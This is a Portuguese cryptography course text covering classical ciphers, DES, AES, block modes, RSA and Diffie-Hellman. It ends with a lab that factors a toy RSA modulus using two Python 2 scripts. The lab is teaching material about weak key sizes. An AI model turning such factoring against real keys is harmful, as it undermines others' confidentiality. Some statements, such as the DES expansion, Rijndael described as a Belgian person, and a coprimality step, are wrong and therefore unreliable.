Logo Passei Direto
Buscar
Material
páginas com resultados encontrados.
páginas com resultados encontrados.
left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

left-side-bubbles-backgroundright-side-bubbles-background

Crie sua conta grátis para liberar esse material. 🤩

Já tem uma conta?

Ao continuar, você aceita os Termos de Uso e Política de Privacidade

Prévia do material em texto

Criptografia e segurança 
na WEB 
 
 
 
 
Marcelo Ferreira Zochio 
 
 
 
 
 
 
 
2 
 
 
SUMÁRIO 
BLOCO 1. ORIGENS DA CRIPTOGRAFIA .............................................................................................................. 3 
BLOCO 2. CRIPTOGRAFIA SIMÉTRICA................................................................................................................. 9 
BLOCO 3: CRIPTOGRAFIA ASSIMÉTRICA .......................................................................................................... 18 
BLOCO 4: ALGORITMOS DE HASH ................................................................................................................... 27 
BLOCO 5: CRIPTOGRAFIA NA WEB ................................................................................................................... 34 
BLOCO 6: CRIPTOGRAFIA EM BANCO DE DADOS ............................................................................................ 41 
 
 
 
 
 
3 
 
 
BLOCO 1. ORIGENS DA CRIPTOGRAFIA 
 
Apresentação 
Nesse bloco, você aprenderá como surgiu a criptografia, em seguida, conhecerá os principais algoritmos 
criptográficos históricos e, por fim, descobrirá como funcionava a máquina de criptografia alemã da 2ª 
Guerra Mundial, a Enigma. 
 
1.1 Introdução à criptografia 
Não podemos falar em segurança da informação sem falar em criptografia. Trata-se de uma ferramenta que 
garante um dos pilares da segurança da informação: a confidencialidade. Portanto, deve ser conhecimento 
obrigatório de um profissional dessa área. 
O termo “criptografia” vem dos termos gregos κρυπτοσ (kriptos), que significa “oculto” e γραφοσ (graphos) 
que significa “escrita”. “A criptografia tem o objetivo de ocultar o significado da mensagem e não a 
mensagem propriamente dita” (ZOCHIO, 2016). Se alguém não autorizado interceptar a mensagem 
codificada, ela estará incompreensível e seu conteúdo não poderá ser descoberto de imediato, ou talvez 
nunca, sem que se tenha a chave para decifrar o algoritmo. 
A criptografia teve seu surgimento e progresso motivado por fins militares. Não revelar segredos e 
estratégias às forças inimigas motivou o desenvolvimento de códigos e cifras cada vez mais complexos e 
difíceis de quebrar. 
 
1.2 Algoritmos de substituição 
Os primeiros algoritmos criptográficos que se tem notícia usavam o conceito de substituição, ou seja, 
trocavam um símbolo por outro. No Ocidente, o primeiro algoritmo criptográfico conhecido historicamente 
é a cifra de César, com sua primeira citação por volta do ano 50 A.C. Julio César, imperador romano, usava 
essa cifra para se comunicar com seus generais. Ela funciona da seguinte forma: 
Para cifrar uma mensagem, move-se cada uma de suas letras três posições adiante no alfabeto da língua 
usada. Para decifrar a mensagem, volta-se três posições atrás. A mensagem "estou estudando criptografia" 
ficaria assim: 
 
Hvwrxhvwxgdqgrfulswrjudild 
 
 
 
4 
 
A referência histórica a essa cifra é citada por Suetonius: 
 
“Se ele tinha qualquer coisa confidencial a dizer, ele escrevia cifrado, isto é, mudando a ordem das 
letras do alfabeto, para que nenhuma palavra pudesse ser compreendida. Se alguém deseja decifrar 
a mensagem e entender seu significado, deve substituir a quarta letra do alfabeto, a saber ‘D’, por ‘A’, 
e assim por diante com as outras”. (Suetonius, De Vita Caesarum, Divus Iulius, LVI.) 
 
Em um bom latim: 
 
“Extant et ad Ciceronem, item ad familiares domesticis de rebus, in quibus, si qua occultius perferenda 
erant, per notas scripsit, id est sic structo litterarum ordine, ut nullum verbum effici posset: quae si qui 
investigare et persequi velit, quartam elementorum litteram, id est D pro A et perinde reliquas 
commutet.” (Suetonius, De Vita Caesarum, Divus Iulius, LVI). 
 
O funcionamento da cifra de César pode ser expresso matematicamente da seguinte forma: 
 
Cifragem: 
C=(N+3) mod 26 
 
Onde: 
C = Texto cifrado 
3 = Deslocamento 
N = Texto puro 
mod 26 = modal 26 (universo de 26 letras do alfabeto) 
 
 
Decifragem: 
N=(C-3) mod 26 
 
 
 
 
 
5 
 
1.2.1 Criptoanálise da cifra de César e similares 
A criptoanálise usa métodos e estratégias para tentar quebrar um algoritmo criptográfico sem saber a chave 
para decifrá-lo. Para a cifra de César, vamos fazer a seguinte análise: 
Todo idioma possui letras que são usadas mais que as outras, ou seja, aparecem com mais frequência nas 
palavras daquele idioma. No caso do português, a letra A é a que mais aparece. Então, na mensagem 
anterior: 
 
 
Podemos testar a substituição das letras com todos os espaços possíveis entre as letras dentro de 25 
possibilidades, se soubermos que a língua é a portuguesa e a cifra possivelmente seja de substituição. Uma 
dessas substituições fornecerá a mensagem corretamente decifrada. 
 
1.3 Cifra de Vigenère 
Com o enfraquecimento das cifras de substituição, surgiu a necessidade de se criar um algoritmo mais 
resistente a métodos de criptoanálise. O francês Blaise de Vigenère criou o algoritmo que leva seu nome. 
Este usa, ao invés das cifras de substituição comuns, não um, mas dois alfabetos combinados entre si. Veja 
a tabela a seguir: 
 
O primeiro alfabeto na horizontal, de cima para baixo, é o alfabeto que você usará para compor sua chave. 
O primeiro alfabeto na vertical, da esquerda para a direita, será usado para a mensagem. 
Hvwrxhvwxgdqgrfulswrjudild 
 
 
 
6 
 
Vejamos alguns exemplos de cifragem: 
 
Exemplo 1: Cifrar “ESTOU ESTUDANDO CRIPTOGRAFIA” com a palavra-chave “SEGURO”: 
WWZILSKXAXRBVSILZDLSMLRTAE 
 
Exemplo 2: Cifrar “TODOS IRÃO FICAR EM DP EM CRIPTOGRAFIA” com a palavra-chave “PROFESSOR”: 
IFRTWAJOFUZQFVWERGTDQWMHLCXGRTNE 
 
Você pôde notar que se usa o plano cartesiano para combinar os caracteres. No ponto de encontro deles, 
existe uma letra. Essa é a letra cifrada da mensagem. Isso é feito digito por digito; quando os caracteres da 
chave terminam, volta-se ao começo dela e o processo continua. 
 
1.3.1 Criptoanálise da cifra de Vigenère 
Charles Babbage, um dos precursores da computação que viveu no século XIX, foi o primeiro a quebrar essa 
cifra. A técnica de Babbage tentava descobrir o comprimento da chave, baseado na detecção de conjunto 
de letras repetidos na mensagem cifrada, calculando a distância entre elas. 
Considere o exemplo (ZOCHIO, 2016): 
 
“Texto plano: HÁ UM TEMPÃO QUE NÃO TEM PÃO. 
Chave: ARARA 
Texto cifrado: HRUDTEDPROQLEEAOKEDPAF” 
 
O conjunto ED faz-se notar duas vezes. A distância entre elas é de 10 dígitos. 
 
Logo, a chave pode ter o tamanho de 10 ou 5 dígitos (máximo divisor comum entre 1 e 10). Normalmente, 
os números divisíveis pela distância costumam ser o comprimento da chave, às vezes, a própria distância 
pode ser o tamanho da chave. 
Então, nesse caso, testa-se as possibilidades dentro de uma chave de 5 dígitos de comprimento, caso não se 
obtenha uma mensagem legível, testa-se as possibilidades de chave de 10 dígitos, até obter-se uma 
mensagem legível. 
Se houvesse mais números divisíveis, estes deveriam ser testados também. Note que a palavra “arara”, 
usada como chave, tem 5 dígitos de comprimento. 
 
 
 
7 
 
1.4 Cifra de Vernam e Cifra de Jefferson 
A cifra de Vernam implementa o conceito "one-time pad" (OTP), em português "chave de uso único". Essa 
técnica gera uma cifra que não pode ser quebrada se utilizada corretamente. A chave possui o mesmo 
tamanho da mensagem, e só é usada uma única vez. Seu nome se deve a Gilbert Vernam, um de seus 
inventores. 
A cifra de Jefferson foi inventada pelo norte americano Thomas Jefferson, aquele da independência dos EUA. 
Consistia em um cilindro com 26 discos nos quais eram inscritos alfabetos dispondo suas letras 
aleatoriamente, e girando-os, compunha-se uma mensagem. Então, podia-se escolher qualquer uma das 25 
sequências escritas, e mandava-se para o destinatário. Ele a colocava emum cilindro configurado com os 
discos na mesma ordem que o emissor, e então a mensagem apareceria em uma das 25 posições restantes. 
Parece ineficiente, mas a força dessa criptografia era considerável. Faça a conta: 
Como temos 26 posições dos discos, a probabilidade de combinações é igual a 26! (fatorial de 26), cujo 
resultado é: 403.291.461.126.605.635.584.000.000 possibilidades. 
 
1.5 A máquina Enigma 
Em 1918, foi criada pelo inventor alemão Arthur Scherbius a mais famosa máquina de criptografia, a Enigma 
que foi usada pelos alemães durante a Segunda Guerra Mundial. Seu segredo estava no uso de rotores que 
proporcionavam um código diferente para cada combinação e o uso da técnica de substituição. O 
mecanismo é composto por um teclado, um conjunto de rotores colocados em fila e um mecanismo que faz 
andar alguns rotores uma posição quando uma tecla é apertada. 
Veja um exemplar da máquina Enigma: 
 
 
Máquina Enigma, versão da Marinha, exposta em Bletchley Park. Fonte: WINTERBOTHAM (1978, S.P.) 
 
 
 
 
8 
 
Conclusão 
Nesse bloco, você aprendeu como surgiu a criptografia, em seguida, conheceu os principais algoritmos 
criptográficos históricos, e, por fim, descobriu como funcionava a máquina de criptografia alemã da 2ª 
Guerra Mundial, a Enigma. 
 
Referências Bibliográficas: 
WINTERBOTHAM, F. W. Enigma, o segredo de Hitler. Rio de Janeiro: Bibliex, 1978. 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9 
 
BLOCO 2. CRIPTOGRAFIA SIMÉTRICA 
 
Apresentação 
Nesse bloco, você irá aprender como funciona a criptografia simétrica, em seguida, conhecerá alguns 
algoritmos criptográficos simétricos, e, por fim, descobrirá como funciona a esteganografia. 
 
2.1 Introdução à criptografia simétrica 
A criptografia simétrica baseia-se no uso de um algoritmo matemático com uma chave criptográfica usada 
tanto para cifrar como para decifrar. Veja a figura: 
 
Criptografia simétrica. Fonte: ZOCHIO (2016, S.P.) 
 
Normalmente, a força de uma criptografia simétrica está no tamanho de sua chave. Para você ter uma ideia 
da quantidade de combinações possíveis de acordo com o tamanho da chave em bits, veja a seguir: 
 
Chave de 3 bits = 8 chaves possíveis. 
Chave de 4 bits = 16 chaves possíveis. 
Chave de 56 bits = 72.057.594.037.927.936 chaves possíveis. 
Chave de 128 bits = 340.282.366.920.938.463.374.607.431.768.211.456 chaves possíveis. 
 
 
 
 
 
10 
 
Existem apenas dois modos de se descobrir uma chave de cifras simétricas: roubando-a ou descobrindo-a 
por força bruta. Esse segundo método é praticamente inviável, pois, dependendo do poder computacional 
disponível, pode-se demorar anos para descobrir uma chave simétrica de um tamanho igual ou superior a 
128 bits. 
 
2.2 Algoritmo DES 
Esse é o algoritmo simétrico mais famoso, o DES (Digital Encryption Standard), origina-se dos trabalhos de 
Horst Feistel, pesquisador da IBM. O DES é um algoritmo que usa cifra de blocos com chaves fixas de 56 bits. 
 
 
A cifra de Feistel é mostrada na figura a seguir: 
 
 
 
 
Cifra de Feistel. Fonte: QUARESMA (2016, S.P.) 
 
 
 
 
 
 
 
11 
 
E a seguir o algoritmo DES: 
 
 
Algoritmo DES. Fonte: PEDIY (2016, S.P.) 
 
“O DES é uma cifra composta que criptografa blocos de 64 bits (8 caracteres) em blocos de 64 bits; 
para tal utiliza uma chave composta por 56 bits mais 8 bits de paridade (no total são 64 bits também). 
Assim, para cada chave o DES faz substituição monoalfabética sobre um alfabeto de 264 letras” (DES, 
1996). 
 
Resumidamente, o DES funciona por meio dos seguintes passos (Tkotz, 2005 APUD ZOCHIO, 2016): 
 
“1. Uma substituição fixa, chamada de permutação inicial, de 64 bits em 64 bits. 
2. Uma transformação, que depende de uma chave de 48 bits, e que preserva a metade direita. 
3. Uma troca das duas metades de 32 bits cada uma. 
4. Repetem-se os passos 2 e 3, 16 vezes. 
5. Inversão da permutação inicial.” 
 
 
 
 
 
12 
 
Em 1998, a Eletronic Frontier Foundation (EFF) construiu a máquina chamada DES Cracker, exclusivamente 
projetada para quebrar o DES, conseguindo realizar a quebra em 3 dias. A máquina custou 250 mil dólares. 
Em 1999, essa mesma máquina, com o apoio da computação distribuída (100 mil computadores na internet), 
quebrou a chave do DES em 22 horas e 15 minutos. 
 
2.3 Algoritmo AES 
O padrão AES foi concebido por meio de um concurso promovido pelo National Institute of Standards and 
Technology (NIST) para substituir o DES. Após várias rodadas, o algoritmo escolhido foi do belga Rinjdael. 
O AES: 
 Possui cifragem em blocos de até 128 bits; 
 Trabalha com chaves de 128, 192 e 256 bits; 
 É público; 
 É rápido. 
O AES foi projetado para resistir a ataques diferenciais e lineares, inviabilizando a aplicação dessas técnicas. 
Essa cifra é usada, por exemplo, na criptografia de dados em navegadores de internet. 
 
2.4 Modos de cifra 
Quando falamos em criptografia simétrica, devemos levar em consideração seus dois modos de operação. A 
cifra de fluxo e a cifra de bloco. 
 
2.4.1 Cifra de fluxo 
Neste tipo de cifra, os bits originais são combinados com outros bits vindos de um gerador pseudoaleatórios, 
ou diretamente da chave com o texto puro. Normalmente, essa combinação é feita por meio de uma 
operação XOR (OU EXCLUSIVO). 
A figura a seguir mostra um exemplo de algoritmo de criptografia usando cifra de fluxo, o RC4, desenvolvido 
por Ronald Rivest: 
 
Algoritmo RC4. Fonte: ZOCHIO (2016, S.P.) 
 
 
 
13 
 
2.4.2. Cifras de bloco 
Na cifra de bloco, um bloco de determinado tamanho deve ser cifrado de cada vez. Não é possível cifrar 
menos que o tamanho de um bloco determinado pelo algoritmo de cifra na mensagem. Veja a figura: 
 
 
 
 
Cifra de bloco. Fonte: PROJETODEREDES (2015, S.P.) 
 
 
 
 
O padding existe para preenchimento do último bloco, caso ele não tenha o tamanho especificado pelo 
algoritmo. Ao decifrar a mensagem, o padding é descartado. 
 
2.4.2.1 Modos de cifra de bloco 
Ao usarmos cifras de bloco, podemos usar vários modos de cifra. Seguem os principais: 
 
Electronic Code Book (ECB) 
“Neste modo, a mensagem é dividida em blocos de tamanho predeterminados pelo algoritmo de 
criptografia, e cada bloco é cifrado em separado e os blocos cifrados são concatenados na mesma ordem” 
(ZOCHIO, 2016). 
 
 
 
14 
 
O grande problema desta técnica é que blocos da mensagem original idênticos vão produzir blocos cifrados 
idênticos, o que não é desejável. Veja a figura: 
 
Modo ECB. Fonte: PROJETODEREDES (2015, S.P.) 
 
Cipher Block Chaining (CBC) 
Neste modo, como ilustrado na figura a seguir, é feita uma operação XOR entre o bloco de texto original e o 
vetor de início que é uma string de caracteres gerada aleatoriamente, então ocorre a codificação. 
 
 
Modo CBC. Fonte: PROJETODEREDES (2015, S.P.) 
 
 
 
15 
 
Cipher Feedback Block (CFB) 
Neste modo, ilustrado na figura a seguir, o vetor de início e a chave são cifrados de acordo com o algoritmo 
de criptografia, sendo o resultado dessa operação conjugado com o texto plano usando-se XOR. O resultado 
será usado para operar a cifra do algoritmo com a chave, e assim sucessivamente, até o fim da mensagem. 
 
Modo CFB. Fonte: PROJETODEREDES (2015, S.P.) 
 
Output Feedback Block (OFB) 
“Este modo, ilustrado na figura a seguir, é muito similar ao CFB, exceto pelo fato de que o resultado da cifra 
obtida entre o IV e a chave é aplicada ao próximo bloco, antes de realizar um XOR com o texto plano, a fim 
de obter o texto cifrado” (ZOCHIO, 2016). 
 
Modo OFB. Fonte: PROJETODEREDES (2015, S.P.) 
 
 
 
16 
 
Counter (CTR) 
“Um problema apresentado pelos modos CBC e CFB é a impossibilidade de conseguir acesso aleatório 
a dados codificados. Isso dificulta o acesso a arquivos de disco, por exemplo, que são acessados em 
ordem não sequencial, especialmente arquivosde bancos de dados. No caso de um arquivo codificado 
pelo modo CBC, o acesso a um bloco aleatório exige primeiro a decifração de todos os seus blocos 
anteriores, uma proposta de alto custo do ponto de vista computacional. Por isso criou-se o modo 
contador” (ZOCHIO, 2016). 
 
 
Modo counter. Fonte: LIPMAA, ROGAWAY e WAGNER (2012, S.P.) 
 
2.5 Esteganografia 
Uma das técnicas para ocultar arquivos é a esteganografia. Essa palavra deriva dos termos gregos steganos, 
que significa “esconder" e graphos, “escrita”. Assim, pode ser definida como a arte de esconder informações. 
É diferente da criptografia, pois nesta as informações estão visíveis, porém cifradas. Basicamente, a 
esteganografia esconde dados dentro de arquivos. Somente o receptor da mensagem tem conhecimento de 
sua existência, assim como da maneira de extraí-la. Mensagens podem ser escondidas em imagens. Até 
mesmo arquivos de áudio podem ser usados para ocultar um conteúdo de maneira que as informações não 
sejam percebidas por quem estiver ouvindo o som. 
 
Conclusão 
Nesse bloco, você aprendeu como funciona a criptografia simétrica, em seguida, conheceu alguns algoritmos 
criptográficos simétricos, e, por fim, descobriu como funciona a esteganografia. 
 
 
 
 
17 
 
Referências Bibliográficas: 
 
LIPMAA, H.; ROGAWAY, P.; WAGNER, D. Comments to NIST concerning AES Modes of Operations: CTR-
Mode Encryption. Disponível em: 
<http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ctr/ctr-spec.pdf>. Acesso em: 
10 maio 2019. 
PEDYI. DES. Disponível em: <http://www.pediy.com/kssd/pediy07/pediy7-752.htm>. Acesso em: 10 maio 
2019. 
PROJETODEREDES. Cifra de bloco. Disponível em: 
<http://www.projetoderedes.com.br/artigos/artigo_cifras_em_bloco_cifras_de_fluxo.php>. Acesso em: 
13/05/2019 
QUARESMA, P. Cifras de chaves simétricas por blocos. Disponível em: 
<http://www.mat.uc.pt/~pedro/lectivos/CodigosCriptografia1011/apontamentos101a132.pdf>. Acesso 
em: 10 maio 2019. 
TKOTZ, V. Criptografia: segredos embalados para viagem. São Paulo: Novatec, 2005. 
ZOCHIO, M. F. Introdução à criptografia. São Paulo: NOVATEC, 2016. 
 
http://www.projetoderedes.com.br/artigos/artigo_cifras_em_bloco_cifras_de_fluxo.php
 
 
 
18 
 
BLOCO 3: CRIPTOGRAFIA ASSIMÉTRICA 
 
Apresentação 
Nesse bloco, você irá aprender como funciona a criptografia assimétrica, também conhecerá alguns 
algoritmos criptográficos assimétricos, e, por fim, verá um exemplo de ataque ao algoritmo RSA. 
 
3.1 Introdução à criptografia assimétrica 
A criptografia assimétrica baseia-se no uso de uma chave pública, que será divulgada a todos os que 
quiserem usar esse tipo de criptografia, e uma privada, que será mantida em poder de seu criador, não sendo 
divulgada para ninguém. Funciona da seguinte maneira: 
Essas chaves são matematicamente relacionadas, o que se cifra com a chave pública é decifrado pela chave 
privada e vice-versa. Logo, se você (pessoa 1) quiser trocar mensagens cifradas com alguém (pessoa 2), vocês 
deverão compartilhar suas chaves públicas um com o outro. Quando você (pessoa 1) manda uma mensagem 
cifrada para o destinatário (pessoa 2), ela deverá ser criptografada usando a chave pública (2), para que seu 
receptor (pessoa 2) possa abrir a mensagem usando a chave privada que possui (2). Se, por outro lado, ele 
(pessoa 2) mandar uma mensagem para você (pessoa 1), deverá cifra-la usando a chave pública que te 
pertence (1), pois assim será possível que você a decifre usando a chave privada que possui (1). Desta forma, 
garante-se o sigilo nas conversas. 
Caso você criptografe algo usando sua chave privada, você não garante sigilo, pois qualquer um que possuir 
sua chave pública poderá abrir o conteúdo criptografado. Esse processo garante outra coisa, a autenticidade. 
Isso ocorre porque não há como negar que aquela mensagem foi de sua autoria, pois esse conteúdo só pode 
ser aberto pela chave pública correspondente, a sua. Isso se chama assinatura digital. 
 
3.2 Algoritmo Diffie-Hellman 
Nos anos 70, antes da existência de um algoritmo de troca de chaves, Whitfield Diffie e Martin Hellman, 
criptógrafos norte-americanos, se interessaram pelo problema da distribuição de chaves e trabalharam em 
uma solução. Eles elaboraram o algoritmo clássico que leva seus nomes. 
 
 
 
 
 
 
 
 
19 
 
O algoritmo é descrito a seguir (ZOCHIO, 2016): 
“Imagine que Alice e Bob desejam trocar um documento sigiloso. Alice não pode viajar até Bob. Então 
ela decide enviar esse documento pelos correios. 
Mas como? Como se envia pelos correios de forma segura algo sem que ninguém possa ler o conteúdo 
dos documentos? 
Ela coloca os documentos em uma caixa e a fecha, enviando-a a Bob. Porém, o problema persiste: 
como Bob abriria a caixa? 
Uma solução é descrita a seguir: 
1. Alice abre uma caixa, coloca os documentos dentro desta caixa e a fecha com seu cadeado. 
2. Alice envia pelo correio a caixa fechada ao Bob, mas não envia a chave, e no trajeto, ninguém pode 
abrir a caixa, pois ela está fechada com um cadeado que somente Alice tem a chave. 
3. A caixa chega às mãos de Bob. Ele também não pode abrir, pois não tem a chave. 
4. Bob coloca outro cadeado e o fecha na caixa que já tem o cadeado de Alice, deixando-a com dois 
cadeados, o cadeado A e o cadeado B. 
5. Bob devolve a caixa para Alice com os dois cadeados. 
6. Alice recebe a caixa e agora nem mesmo ela pode abrir, pois lhe falta a chave do cadeado B. 
7. Alice abre seu cadeado A removendo-o da caixa e a devolve para Bob, agora apenas com o cadeado 
B. 
8. Bob recebe a caixa, agora apenas com o seu cadeado, e finalmente a abre com sua chave e lê os 
documentos.” 
 
3.3 Algoritmo RSA 
Procurando aplicar de forma mais tangível o algoritmo Diffie-Hellman, em 1976 três professores do Massachusetts 
Institute of Technology (MIT) procuraram uma função matemática que pudesse transformar o Diffie-Hellman em um 
sistema viável. 
Esse algoritmo levou o nome de RSA (inicias dos professores, que se chamam Rivest, Shamir e Adleman) possui os 
seguintes passos (Tkotz, 2005) apud (ZOCHIO, 2016): 
“1) Escolha de dois números primos muito grandes 
O destinatário da mensagem ou o dono da chave privada deve escolher dois números primos. Quanto 
maiores forem esses números, maior será a segurança da criptografia. Esses números serão 
identificados por p e q e devem ser mantidos em segredo. Para facilitar o entendimento do processo, 
será usado um exemplo com números primos pequenos: p = 19 e q = 23. 
 
 
 
 
 
20 
 
2) Cálculo da chave pública 
Escolhendo os números primos secretos, o emissor multiplica-os para obter um novo número que 
chamaremos de n: 
n = p * q 
n = 19 * 23 
n = 437 
A seguir, escolhemos um número e que não tenha fatores comuns com (p-1) * (q-1). Ou seja, e e 
também (p-1) * (q-1) precisam ser primos entre si 
(p-1) * (q-1) = 18 * 22 
(p-1) * (q-1) = 396 
Fatorando o resultado 396, obtemos: 
396 | 2 
198 | 2 
99 | 3 
33 | 3 
11 | 11 
1 | 
Em outras palavras, 396 = 2 *2 * 3 * 3 * 11 
Para que e e 437 sejam primos entre si, o valor de e não pode ser divisível nem por 2, nem por 3 e 
nem por 11. Para este exemplo, será eleito o número 13. Estes dois números, n = 437 e e = 13 são a 
chave pública. 
 
3) Cálculo da chave privada 
Para calcular a chave privada, será preciso fazer uma redução modular, ou seja, calcular o inverso do 
módulo. 
Considere 5 (mod 14). O resultado é 5 porque 5 / 14 = 0 com resto 5. 
O inverso de 5 (mod 14) precisa ser um número que, multiplicando 5, resulte 1 no módulo 14 (assim 
como 3 * 1/3 = 1). Neste caso, o cálculo do inverso não é uma tarefa trivial. Como os números do 
exemplo são pequenos, podemos achar o inverso de 5 (mod 14) por tentativa: 
5 * 1 (mod 14) = 5 (mod 14) = 5 
5 * 2 (mod 14) = 10 (mod 14) = 10 
5 * 3 (mod 14) = 15 (mod 14) = 1 
 
 
 
21 
 
Logo, nesse caso, se a=5, a seguinte equação pode ser proposta: 
a * y (modn) = 1 
na qual precisamos encontrar o valor de y. Nem todas as reduções modulares têm soluções. Por 
exemplo, 2 não tem um inverso no módulo 14. De modo geral, quando a e n são primos entre si existe 
uma solução única, e quando a e n não são primos entre si não existe uma solução. 
No exemplo que está sendo usado, a redução modular a ser realizada é em 13 (mod 396). O cálculo 
de um inverso modular por tentativa é muito demorado e existem formas mais inteligentes de 
resolver o problema. Uma delas é o algoritmo de Euclides estendido, que será aplicado neste exemplo: 
 
13 / 396 = 0 com resto 13 // divide-se o valor pelo módulo 
396 / 13 = 30 com resto 6 // divide-se o divisor anterior pelo resto 
13 / 6 = 2 com resto 1 // divide-se o divisor anterior pelo resto 
6 / 1 = 6 com resto 0 // divide-se o divisor anterior pelo resto 
 
O cálculo demonstrado, em outras palavras, é o cálculo do máximo divisor comum entre 13 e 396, 
expresso também como MDC(13,396). 
Como o último divisor com resto zero (divisão exata) é 1, então MDC(13,396) = 1. 
Agora é usado o algoritmo de Euclides estendido. Ele usa apenas os restos diferentes de zero das 
divisões mostradas anteriormente. Esses podem ser expressos da seguinte maneira (os restos estão 
em itálico): 
(1) 13 = (1 *13) - (0 * 396) 
13 = (1 * 13) 
 
(2) 6 = (1 * 396) - (30 * 13) // e como (1) afirma que 13 = (1 * 13) 
6 = (1 * 396) - (30 * (1 * 13)) 
6 = (1 * 396) - (30 * 13) 
 
(3) 1 = (1 * 13) - (2 * 6) // e como (2) afirma que 6 = (1 * 396) - (30 * 13) 
1 = (1 * 13) - 2 * ((1 * 396) - (30 * 13)) 
1 = (1 * 13) - (2 * 396) + (60 * 13) 
1 = (61 * 13) - (2 * 396) 
Denominando o inverso de d, então d = 61. Este comporá a chave privada e precisa ser mantido em 
sigilo. 
 
 
 
22 
 
Como os números primos que serviram de base para obter esses valores já cumpriram a sua função 
podem ser descartados. Até aqui temos: 
Chave pública: n = 437, e = 13 
Chave privada: n = 437, d = 61 
 
4) Publicação da chave 
Uma vez definida a chave pública, ela pode ser distribuída para servir de chave para todos os 
remetentes que quiserem enviar mensagens cifradas para o dono do par de chaves. 
A segurança do RSA depende muito da dificuldade de se fatorar números grandes e dos números 
primos escolhidos para criar as chaves. A forma mais óbvia de atacar o RSA é descobrir um método de 
fatoração rápido que consiga abrir n nos seus fatores primos. Um exemplo de número primo usado 
no RSA: 
20002369464949979789992482617536810767391545095887910086613332333824750957863609
90019957569786112977657107730703647318315952802621190297406928778546435460390360
69810898935909718624717237218358374145821798976902420114279046581606660265499798
91785029661297388925972364374764773388155464100483662739070063236710816631258760
79278418686346032418260768624779507409376687285544483563929289533938457420131533
23228784922312671248487473176437701528518579367738025500976728649884179978643188
03312948989843768417222231903952896640117323548617605464934874406649164810584273
581983877750086250217366698904436379729267400115736290053. 
Um inconveniente do algoritmo RSA é a velocidade; ele é cerca de cem vezes mais lento que o DES; 
mas há algoritmos mais velozes e tão eficientes quanto o RSA. Veremos criptografia de curvas elípticas 
no próximo tópico.” 
 
 
3.4 Algoritmos baseados em curvas elípticas 
Um sistema de criptografia assimétrica baseado em um grupo de curvas elípticas sobre um campo finito foi 
proposto pela primeira vez, de forma independente, por Koblitz (1987) e Miller (1985). 
“Esse tipo de criptografia concentra-se no problema do logaritmo discreto em um grupo formado pelos 
pontos de uma curva elíptica definida em torno de um corpo de Galois” (ZOCHIO, 2016). O melhor algoritmo 
conhecido para resolução desse problema tem complexidade exponencial. Essa característica confere um 
alto grau de segurança ao sistema. Devido à complexidade matemática desse algoritmo, ele não será 
abordado a fundo nessas aulas, pois foge dos conhecimentos exigidos para o curso. 
 
 
 
 
 
 
23 
 
3.5 Ataque ao algoritmo RSA 
Vamos realizar um pequeno teste prático para provar quanto é importante ter números primos grandes ao 
usar RSA. 
 
1. Considere a primeira mensagem (MSG), que tem três caracteres e foi cifrada com RSA. Os três 
caracteres estão representados em números. Temos também a chave pública (n) e e: 
n = 391 
e = 7 
MSG = 273 - 291 - 133 (São somente 3 caracteres) 
 
2. Use o programa rsa_p_q.py (que está codificado no final deste passo) com o seguinte comando, 
colocando os valores de n e e: 
 
python rsa_p_q.py 391 7 
 
O resultado será: 
17*23 = 391 
 
Portanto, já se obteve p (que é 17) e q (que é 23). 
 
Código do programa rsa_p_q.py: 
# -*- coding: utf-8 -*- 
# Criado por André Vitor de Lima Matos 
 
from math import sqrt 
from sys import argv, exit 
from processing import Process, currentProcess 
 
def verifica_primo(n, nth): # nth é o desemparelhamento dos processos 
 qth=int(sqrt(n)) 
 d = qth + 3 
 if d % 2 == 0: 
 d = d + 1 
 d = d - nth 
 if n % 2 == 0: 
 print "É par" 
 return False 
 while d >= 3: 
 if n % d == 0: 
 print d, '*', n / d, '=', n 
 return False 
 else: 
 d -= 4 
 return True 
 
if __name__ == '__main__': 
 p = Process(target=verifica_primo, args=[int(argv[1]), 2]) # Um processador iniciando em 2 
 p.start() 
 p = Process(target=verifica_primo, args=[int(argv[1]), 4]) # E outro em 4 
 p.start() 
rsa_p_q.py. Fonte: MATOS (2011, S.P.) 
 
 
 
24 
 
3. Use o programa euc_ext.py com o comando, colocando os valores de p, q, e e: 
 
python euc_ext.py 17 23 7 
 
 
O resultado será: 
n = 391 
QQ = 352 
d = 151 
 
 
Código de euc_ext.py: 
# -*- coding: utf-8 -*- 
# Criado por André Vitor de Lima Matos 
 
from sys import argv 
 
def euclides_ext(a, b, c): 
 r = b % a 
 if r == 0: 
 return ( (c / a) % ( b / a) ) 
 
 return ( ( euclides_ext(r, a, -c) * b + c) / (a % b) ) 
 
if len(argv) != 4: 
 raise SyntaxError, "São requeridos 3 valores como argumentos" 
 
p, q, e = argv[1:] 
p=int(p) 
q=int(q) 
e=int(e) 
 
n = p * q 
 
qq = (p - 1) * (q - 1) 
 
d = euclides_ext(e, qq, 1) 
print "N =", n 
print "QQ =", qq 
print "D =", d 
 
